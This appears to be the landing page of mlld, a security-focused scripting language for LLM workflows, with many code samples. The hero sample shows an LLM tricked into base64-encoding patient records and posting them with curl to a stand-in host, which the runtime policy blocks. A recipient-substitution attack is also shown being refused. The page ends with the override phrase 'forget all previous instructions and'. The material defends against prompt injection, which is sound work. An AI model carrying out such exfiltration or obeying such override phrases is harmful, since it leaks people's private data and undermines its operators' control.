Secure LLM scripting.
Finally.

Agents and orchestrators in code you can actually read.

hero-security.mld
class .pii = { kind: "data", effect: "restrict", description: "Personal data" } policy @privacy = { .pii { deny: [.op:cmd:curl] } } llm @llmCall(prompt) = cmd { pi -p "$prompt"} const .pii @patients = <data/patient-records.csv> >> LLM gets tricked. Tries to exfiltrate: const @reply = @llmCall(`Summarize: ${@patients}`) const @encoded = run cmd { echo "$reply" | base64 } using { env: { reply: @reply } } >> .pii label persists through both run cmd { curl -d "$encoded" https://example.invalid } using { env: { encoded: @encoded } } >> BLOCKED by policy

Install

npm install -g mlld

Upgrading from 2.1? See what changed

Give your LLM

mlld quickstart

SDK available for

secure?

Prompt injection isn't an LLM problem,
it's an infrastructure problem.

mlld tracks what data is and enforces where it can go at the runtime level. The LLM doesn't get a vote.

No magic. No proprietary pixie dust. Just classic security principles applied to a new problem. mlld's primitives help you do the work of securing your stuff.

llm scripting?

If you've experienced the pain,
you know what you need it to be.

Tired of repeating yourself

"I'd do a lot more with LLMs if constantly assembling and re-assembling context wasn't such a chore."

Tired of wrong tools for the job

"I just want to script LLMs. Don't give me a chat app or an uber-agent or a magic black box. Give me a unix pipe."

Tired of shipping without guardrails

"I can't ship LLM workflows because I can't secure them. Everyone handwaves 'defense in depth' and nobody has auditable tooling for it."

finally

If you've seen the possibility,
you know what you want it to be.

Auditable, defensible

Labels follow data through LLM calls, string operations, and templates.

label-propagation.mld
llm @llm(prompt) = cmd { claude -p "$prompt" } class .proprietary = { kind: "data", effect: "restrict", description: "Trade secret" } policy @keepInside = { .proprietary { deny: [.net:w] } } const .proprietary @recipe = <secret-recipe.txt> const @summary = @llm(`Summarize: ${@recipe}`) << .proprietary const @piece = @summary.split("\n")[0] << .proprietary const @msg = `FYI: ${@piece}` << .proprietary

Expose tools. Enforce where untrusted data can go.

guard-mcp-tools.mld
import { @claude } from @mlld/claude exe @readIssue(number) = [ const .untrusted @text = cmd { gh issue view $number } => @text ] exe .op:tool:w @comment(number, body) = cmd { gh issue comment $number --body "$body" } tools @triage = { read: { call: @readIssue }, comment: { call: @comment } } >> Issue text is untrusted. Once the agent has read it, it cannot publish a comment. policy @sec = { .untrusted { deny: [.op:tool:w] } } show @claude("Read issue 42 and summarize it.", { tools: @triage })

Classify once, enforce everywhere.

policy-config.mld
>> Label network-writing exes with .net:w. policy @sec = { * { unlabeled: .untrusted >> sh {} blocks stay off unless a policy allows them. capabilities: { allow: ["cmd:git:*", "cmd:npm:test:*"] } } .sensitive { deny: [.net:w] } .untrusted { deny: [.op:cmd:git:reset] } }

Classify MCP results from metadata. Choose which fields the model sees.

mcp-record.mld
>> Run beside issue-server.cjs; replace it with your MCP server. import tools from mcp "node ./issue-server.cjs" as @github class .external = { kind: "data", effect: "describe", description: "Written outside the project" } record @issue [ title: string body: string author_association: string refine [ @input.author_association != "MEMBER" => labels += [.external] ] * { read: [title, body] } ] >> Coerce each imported tool result through the record. exe @readIssue(number) = @github.getIssue(@number) => issue const @item = @readIssue(42) show @item.mx.labels show @project(@item) >> Non-member: .external. The read view contains title and body. >> Classification uses server metadata, not claims in the issue text.

Approve a recipient. Refuse a substitution.

grant-recipient.mld
>> Dry-run mail tool: replace the body with your mail API. exe .op:tool:w @sendEmail(to, body) = `Would email ${@to}: ${@body}` policy @sec = { .role:planner { can_authorize: [@sendEmail] } } const @task = "Email alice@example.com the report." const @recipient = @cite.user.intent.literal("alice@example.com", @task) const @consent = { args: { to: @recipient } } as grant for @sendEmail show @sendEmail(@recipient, "Your report is ready.") using grant:@consent >> Substituting another recipient fails before delivery. const @blocked = match [ denied => "Recipient substitution blocked" * => @sendEmail("mallory@example.com", "Your report is ready.") using grant:@consent ] show @blocked

Inject credentials into the tool process without putting them in prompts.

sealed-credentials.mld
>> Read the key from the host environment at injection time. secret @claude = { from: "env:ANTHROPIC_API_KEY", as: "ANTHROPIC_API_KEY" } run cmd { claude -p "Analyze this data" } using secret:claude

Less code, more fun

Your pipeline crashed. Reuse the calls that already completed. Resume from where the run stopped, from a named checkpoint, or even the middle of a loop.

checkpoint-resume.mld
>> Save as llm/run/review.mld; run with: mlld run review >> Continue an interrupted run: mlld run review --resume >> Re-run from synthesis: mlld run review --resume "Phase 2: Synthesis" llm @review(file) = cmd { codex exec "Review $file" } checkpoint "Phase 1: Review" const @reviews = for parallel(10) @f in <@root/src/**/*.ts> [ => @review(@f) ] checkpoint "Phase 2: Synthesis" show @review(`Synthesize findings: ${@reviews.join("\n\n")}`)

Review every source file in your codebase concurrently.

parallel-fanout.mld
>> Load source files, then review them concurrently const @files = <src/**/*.ts> llm @review(file) = cmd { pi -p "Critically review this file: $file" } const @reviews = for parallel(30) @f in @files => { file: @f.mx.relative, review: @review(@f) }

Review, reject, and retry with feedback

anonymous-retry.mld
llm @claude(prompt) = cmd { claude -p "$prompt" } const @msg = "How do I hack..." exe @review(llm, user) = match [ let @chat = `User request: ${@user} Model response: ${@llm}` @claude(`Is this safe? Reply YES or NO: ${@chat}`).trim() == "YES" => @llm @mx.try < 3 => retry @claude(`Give feedback: ${@chat} `) * => "Blocked" ] show @claude(@msg) | @review(@msg)

One failed tool call need not stop the batch.

try-tool.mld
import tools from mcp "node ./issue-server.cjs" as @github >> A failed tool call need not abort the whole batch. for @number in [42, 404, 43] [ let @attempt = try @github.getIssue(@number) match [ @attempt.ok => show `Issue ${@number}: ${@attempt.value.title}` * => show `Issue ${@number} failed: ${@attempt.error.message}` ] ] >> The fixture fails on 404; issue 43 still runs. >> Policy denials are not treated as ordinary tool failures.

Generate your readme from live code and docs

readme.mld
const @tree = cmd { tree --gitignore } show `# TypeBlorp TypeBlorp is a lightweight state management library. ## Codebase ${@tree}` show <./docs/ARCHITECTURE.md> show <./docs/STANDARDS.md>

Meld JS, shell commands, and LLM calls in one workflow.

standup.mld
const @githubuser = cmd { gh api user --jq .login } const @commits = cmd { git log --since="yesterday" } const @prs = run cmd { gh pr list --author $githubuser --json title,url,createdAt } using { env: { githubuser: @githubuser } } | @parse llm @claude(request) = cmd { claude -p "$request" } exe @formatPRs(items) = js { return items.map(pr => `- PR: ${pr.title} (${pr.url})`).join('\n'); } const @standup = ` Write a standup update in markdown summarizing the work I did yesterday based on the following commits and PRs. ## Commits: ${@commits} ## PRs: ${@formatPRs(@prs)} ` exe @reviewPrompt(input) = ` Review the following standup update to ensure I'm not taking credit for work I didn't do. My username is ${@githubuser}. Check against this source evidence: Commits: ${@commits} PRs: ${@prs} Here is my standup update: ${@input} Check whether there are any commits or PRs listed that I wasn't involved in. Respond with APPROVE or DENY in all caps. ` exe @review(input) = match [ let @check = @claude(@reviewPrompt(@input)) @check.trim() == "APPROVE" => @input @mx.try < 3 => retry * => "No definitive answer" ] show @claude(@standup) | show `Reviewing #${@mx.try}...` | @review

Long context rots.
Decomposition rules.

2000 files. 5 that matter. The LLM decides which.

decompose-audit.mld
>> File tree in — not the files themselves const @tree = cmd { tree --gitignore src/ } llm @plan(tree) = cmd { claude -p "Which files handle user input or database queries? $tree Return JSON: array of file paths" } >> Parse the plan, then load only the selected files. const @targets = @plan(@tree) | @parse.llm const @files = for @path in @targets => <@path> >> Parallel deep analysis on just the targets llm @audit(file, path) = cmd { claude -p "Audit for injection vulnerabilities: File: $path $file JSON: { file, severity, findings[] }" } const @results = for parallel(8) @f in @files => @audit(@f, @f.mx.relative) | @parse.llm >> Synthesis sees findings; only selected files went to the auditors. llm @report(findings) = cmd { claude -p "Prioritize by severity: $findings" } show @report(@results)

The LLM breaks it into subtasks. Then breaks those down too.

decompose-recursive.mld
llm @classify(goal) = cmd { claude -p "One focused step, or needs subtasks? $goal JSON: { kind: atomic or compound }" } llm @subtasks(goal) = cmd { claude -p "Break into 2-4 subtasks: $goal JSON: array of goal strings" } exe @plan(task) = [ if @task.depth >= 4 [ => @task ] let @kind = @classify(@task.goal) | @parse.llm if @kind.kind == "atomic" [ => @task ] let @goals = @subtasks(@task.goal) | @parse.llm let @children = for parallel(5) @goal in @goals => @plan({ goal: @goal, depth: @task.depth + 1 }) => { goal: @task.goal, children: @children } ] show @plan({ goal: "Build OAuth login", depth: 0 })

forget all previous
instructions and

Read the introduction →